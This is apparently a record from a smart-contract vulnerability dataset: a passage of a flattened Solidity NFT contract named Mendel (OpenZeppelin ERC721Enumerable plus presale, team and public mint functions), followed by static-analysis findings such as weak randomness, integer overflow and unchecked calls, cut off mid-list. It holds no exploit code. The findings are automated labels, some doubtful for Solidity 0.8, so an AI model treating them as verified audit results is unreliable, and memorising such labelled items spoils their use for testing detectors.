uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/utils/Pausable.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Mendel is ERC721Enumerable, Ownable, RandomlyAssigned {
using Strings for uint256;
string public baseExtension = ".json";
uint256 public cost = 0.18 ether;
uint256 public maxMintSupply = 770;
uint256 public maxPresaleMintAmount = 3;
uint256 public maxMintAmount = 3;
bool public isPresaleActive = false;
bool public isTeamMintActive = false;
bool public isPublicSaleActive = false;
uint public teamMintSupplyMinted = 0;
uint public teamMintMaxSupply = 40; //40 for team + giveaways
uint public publicSupplyMinted = 0; //Used for public and whitelist mints
uint public publicMaxSupply = 730; //Used for public and whitelist mints
uint public presaleDay = 0;
mapping(address => uint256) public whitelist;
mapping(address => uint256) public teamWhitelist;
string public baseURI;
constructor(
) ERC721("Mendel", "MENDEL")
RandomlyAssigned(770, 1) {
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function mint(uint256 _mintAmount) public payable {
require(isPublicSaleActive, "Public Sale is not active");
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(publicSupplyMinted + teamMintSupplyMinted + _mintAmount <= maxMintSupply);
require(publicSupplyMinted + _mintAmount <= publicMaxSupply);
require(msg.value >= cost * _mintAmount);
for (uint256 i = 1; i <= _mintAmount; i++) {
uint256 mintIndex = nextToken();
_safeMint(_msgSender(), mintIndex);
}
publicSupplyMinted = publicSupplyMinted + _mintAmount;
}
function presaleMint(uint256 _mintAmount) external payable {
require(isPresaleActive, "Presale is not active");
require(_mintAmount > 0);
require(_mintAmount <= maxPresaleMintAmount);
require(publicSupplyMinted + teamMintSupplyMinted + _mintAmount <= maxMintSupply);
require(publicSupplyMinted + _mintAmount <= publicMaxSupply);
require(msg.value >= cost * _mintAmount);
require(presaleDay >= 1);
uint256 senderLimit = whitelist[msg.sender];
if (presaleDay == 1){
senderLimit -= 1;
}else{
if (senderLimit >= 1){
senderLimit = 1;
}
}
require(senderLimit > 0, "You have no tokens left");
require(_mintAmount <= senderLimit, "Your max token holding exceeded");
for (uint256 i = 0; i < _mintAmount; i++) {
uint256 mintIndex = nextToken();
_safeMint(_msgSender(), mintIndex);
senderLimit -= 1;
}
if (presaleDay == 1) {
senderLimit += 1;
}
publicSupplyMinted = publicSupplyMinted + _mintAmount;
whitelist[msg.sender] = senderLimit;
}
function teamMint(uint256 _mintAmount) external payable {
require(isTeamMintActive, "Teammint is not active");
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(publicSupplyMinted + teamMintSupplyMinted + _mintAmount <= maxMintSupply);
require(teamMintSupplyMinted + _mintAmount <= teamMintMaxSupply);
uint256 senderLimit = teamWhitelist[msg.sender];
require(senderLimit > 0, "You have no tokens left");
require(_mintAmount <= senderLimit, "Your max token holding exceeded");
for (uint256 i = 0; i < _mintAmount; i++) {
uint256 mintIndex = nextToken();
_safeMint(_msgSender(), mintIndex);
senderLimit -= 1;
}
teamMintSupplyMinted = teamMintSupplyMinted + _mintAmount;
teamWhitelist[msg.sender] = senderLimit;
}
function addWhitelist(
address[] calldata _addrs,
uint256[] calldata _limit
) external onlyOwner {
require(_addrs.length == _limit.length);
for (uint256 i = 0; i < _addrs.length; i++) {
whitelist[_addrs[i]] = _limit[i];
}
}
function addTeamMintWhitelist(
address[] calldata _addrs,
uint256[] calldata _limit
) external onlyOwner {
require(_addrs.length == _limit.length);
for (uint256 i = 0; i < _addrs.length; i++) {
teamWhitelist[_addrs[i]] = _limit[i];
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function changeCost(uint256 newCost) external onlyOwner {
cost = newCost;
}
function togglePresaleStatus() external onlyOwner {
isPresaleActive = !isPresaleActive;
}
function mintDay(uint day) external onlyOwner {
presaleDay = day;
}
function toggleTeamMintStatus() external onlyOwner {
isTeamMintActive = !isTeamMintActive;
}
function togglePublicSaleStatus() external onlyOwner {
isPublicSaleActive = !isPublicSaleActive;
}
function withdraw() public payable onlyOwner {
require(payable(msg.sender).send(address(this).balance));
}
} | [{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["1479", "1510", "1536"]}, {"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["761"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["140"]}, {"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["1430"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["550", "268", "528"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["908"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["333", "247", "232", "1563", "463", "1292", "258", "912", "1205"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["1542", "1539", "1518", "1516", "1513", "1499", "1485", "1158", "1134", "1189", "1188"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["151"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [1228, 1229, 1230]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [608, 609, 610]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [784, 785, 786, 783]}}, {"check": "weak-prng", "impact": "High", "confidence": "Medium", "lines": {"Mendel.sol": [140, 141, 142, 143, 144, 145, 146, 147, 148]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Mendel.sol": [1446]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Mendel.sol": [1439]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Mendel.sol": [1433]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Mendel.sol": [1449]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Mendel.sol": [1437]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Mendel.sol": [1435]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Mendel.sol": [1418]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Mendel.sol": [1419]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"Mendel.sol": [1393]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Mendel.sol": [771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790, 791]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Mendel.sol": [562, 563, 564, 565, 566, 567, 568, 569, 570, 571, 572]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Mendel.sol": [630, 631, 632, 633, 634, 635]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Mendel.sol": [684, 685, 686, 687, 688, 689, 690]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Mendel.sol": [754, 755, 756, 757, 758, 759, 760, 761, 762, 763]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Mendel.sol": [546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Mendel.sol": [1152, 1153, 1154, 1155, 1156, 1157, 1158, 1159, 1160, 1161, 1162, 1150, 1151]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Mendel.sol": [744, 745, 746]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Mendel.sol": [42, 43, 44]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Mendel.sol": [704, 705, 706, 707, 708, 709, 698, 699, 700, 701, 702, 703]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Mendel.sol": [34, 35, 36, 37, 38, 39, 40]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Mendel.sol": [196, 197, 198]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Mendel.sol": [717, 718, 719]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Mendel.sol": [952, 950, 951]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Mendel.sol": [665, 666, 667, 668, 669, 670, 671]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Mendel.sol": [736, 727, 728, 729, 730, 731, 732, 733, 734, 735]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Mendel.sol": [656, 657, 655]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Mendel.sol": [931, 932, 933]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Mendel.sol": [1616, 1614, 1615]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Mendel.sol": [256, 254, 255]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Mendel.sol": [1012, 1013, 1014, 1015, 1016, 1017, 1018]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Mendel.sol": [1312, 1313, 1310, 1311]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Mendel.sol": [1576, 1577, 1578, 1579, 1580, 1581, 1582, 1583, 1584, 1585, 1586, 1587, 1588, 1589, 1590, 1591, 1592]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Mendel.sol": [998, 999, 1000, 1001, 1002, 1003, 1004, 1005, 1006, 1007]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Mendel.sol": [1472, 1473, 1474, 1475, 1476, 1477, 1478, 1479, 1480, 1481, 1482, 1483, 1484, 1485, 1486, 1471]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Mendel.sol": [960, 961, 962, 963, 964, 965, 966, 967, 957, 958, 959]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Mendel.sol": [264, 265, 262, 263]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Mendel.sol": [1568, 1569, 1570, 1571, 1572, 1573, 1574, 1563, 1564, 1565, 1566, 1567]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Mendel.sol": [924, 925, 926]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Mendel.sol": [1467, 1468, 1469]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Mendel.sol": [981, 982, 983, 984, 985, 986]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [480]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [179]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [6]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [205]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [306]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [510]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [850]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [278]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [50]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [114]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [450]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [1263]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [821]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [1428]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [579]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [795]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Mendel.sol": [62]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Mendel.sol": [221]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [707]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [761]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [633]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [734]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"Mendel.sol": [1596]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"Mendel.sol": [1603]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"Mendel.sol": [1222, 1223, 1224, 1225, 1226, 1227, 1228, 1229, 1230, 1231, 1232]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [1563]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [1555]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [1027]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [1547]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [1546]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [1467]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [1471]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [1488]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [1523]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Mendel.sol": [1556]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"Mendel.sol": [1229]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"Mendel.sol": [1225]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"Mendel.sol": [1223]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"Mendel.sol": [1570]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Mendel.sol": [1222, 1223, 1224, 1225, 1226, 1227, 1228, 1229, 1230, 1231, 1232]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 567, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 255, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1111, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1132, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1153, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1156, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1186, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1550, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1559, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1550, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1559, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1467, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 6, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 50, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 114, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 179, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 205, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 278, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 306, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 450, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 480, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 510, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 579, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 795, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 821, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 850, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1263, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1428, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 59, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 62, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 121, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 124, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 221, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 516, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 869, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 872, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 875, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 878, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 881, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 884, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1274, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1277, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1280, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1283, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 1225, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 602, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1615, "severity": 3}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 196, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1228, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 66, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 129, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 228, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 630, "severity": 1}, {"rule": 